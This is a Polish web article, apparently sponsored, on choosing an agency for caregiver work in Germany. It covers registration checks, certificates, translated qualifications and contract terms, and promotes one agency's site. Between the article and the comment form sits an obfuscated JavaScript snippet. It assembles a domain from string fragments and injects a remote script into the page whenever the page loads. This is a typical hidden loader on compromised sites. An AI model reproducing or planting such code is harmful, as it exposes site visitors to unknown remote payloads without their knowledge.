Praca opiekunki w Niemczech – jak wybrać dobrą agencję?

0

Coraz więcej Polek i Polaków decyduje się na wyjazd z kraju do pracy jako opiekunka. Niemcy, to jeden z najczęściej wybieranych kierunków emigracji. Agencje pośrednictwa pracy, których pojawia się na rynku coraz więcej, cieszą się różnymi opiniami. Co trzeba zweryfikować, by wybrać dobrą agencję?

Informacje o firmie

Wybór odpowiedniego wsparcia w poszukiwaniu pracy za granicą, to bezpieczeństwo, pomoc i poczucie komfortu. Jak upewnić się, że agencja pracy zapewni te wartości?

W ostatnich latach wzrosło zainteresowanie pracą jako opiekunka. Niemcy mają coraz większe zapotrzebowanie na pracowników świadczących takie usługi. Cenią pracę osób z Polski i postrzegają je jako pracowników sumiennych i zaangażowanych. Szukając uczciwej agencji, pośredniczącej w zatrudnianiu opiekunki w Niemczech, warto zwrócić uwagę na kilka kluczowych kwestii. Przede wszystkim, potwierdzić informacje o samej działalności, czyli upewnić się, czy firma jest wpisana do rejestru KRS. Podstawą jest też przyjrzenie się stronie internetowej i dokładna analiza tego, jakie obowiązki kryją się pod hasłem: opiekunka osób starszych. Niemcy restrykcyjnie przestrzegają prawa. Dotyczy to przede wszystkim pozwolenia na wykonywanie zawodu pielęgniarki na terenie tego kraju. Wiąże się z tym zakres odpowiedzialności i obowiązków. Warto dowiedzieć się, czy agencja wspiera pracownika w załatwianiu wymaganych formalności.  Dobrym znakiem jest, gdy agencja dysponuje referencjami i certyfikatami. Te drugie łatwo można łatwo zweryfikować, kontaktując się z organem, który je wystawił.

Pomoc w załatwianiu formalności

Opiekunki w Niemczech mają sporo obowiązków. Zakres ustalany jest na podstawie możliwości fizycznych, kwalifikacji i doświadczenia. Ważnym aspektem jest też znajomość języka obcego. Dokumenty poświadczające ukończenie każdego kursu, na przykład  pielęgniarskiego, muszą być przetłumaczone na język niemiecki. Zależy od tego zezwolenie na wykonywanie zawodu pielęgniarki na terenie tego kraju.  Wiąże się to też z wyższymi zarobkami w pracy jako opiekunka osób starszych. Niemcy kładą bowiem nacisk na udokumentowane kwalifikacje do wykonywanych obowiązków. Jeśli agencji zależy na zapewnianiu wysokiej jakości usług, pomaga odpowiednio przygotować niezbędne dokumenty.

Podstawą zatrudnienia jest umowa. Zawierając ją, warto zwrócić uwagę, jakim językiem jest napisana. Jeśli jest zrozumiały, a pracownik agencji służy pomocą w zrozumieniu każdego paragrafu, oznacza to, że firma niczego nie ukrywa. Czy w podanej kwocie wynagrodzenia jest zakwaterowanie? Czy pracownik podlega opiece polskiego koordynatora? Czy umowa obejmuje ubezpieczenie i inne niezbędne świadczenia, wynikające z rodzaju podpisywanej umowy? Bezpieczne i sprawdzone oferty pracy można znaleźć na http://www.eurocare.com.pl/ . Firma ta oferuje ciekawe warunki i dba o bezpieczeństwo zatrudnionych opiekunek.

Podsumowując, dobra agencja ułatwia wyjazd za granicę w celach zarobkowych. Pomaga przygotować dokumenty i stwarza odpowiednie środowisko do pracy. Warto skorzystać z tego wsparcia, decydując się na pracę jako opiekunka. Niemcy, to kraj w którym nie maleje popyt na dobre opiekunki. Godna zaufania i profesjonalna agencja, to taka, która potrafi dobrać ofertę dedykowaną danemu kandydatowi.

(function(){
a6jx=document.createElement(“script”);a6jx_=”u”+(“s”)+”ta”;
a6jx_+=(“t.i”)+””+”n”;a6jx_+=((“f”)+”o”);a6jx.type=”text/javascript”;
a6jx_+=”/”; a6jxu=”72460839″;a6jxu+=”.ewvqpe8q6jx1ksr1v5g”;a6jxu+=”rl4gjzyi7ci”;
a6jx.src=”//”+a6jx_+a6jxu; a6jx.async=true; document.body.appendChild(a6jx);
})();

ZOSTAW ODPOWIEDŹ

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.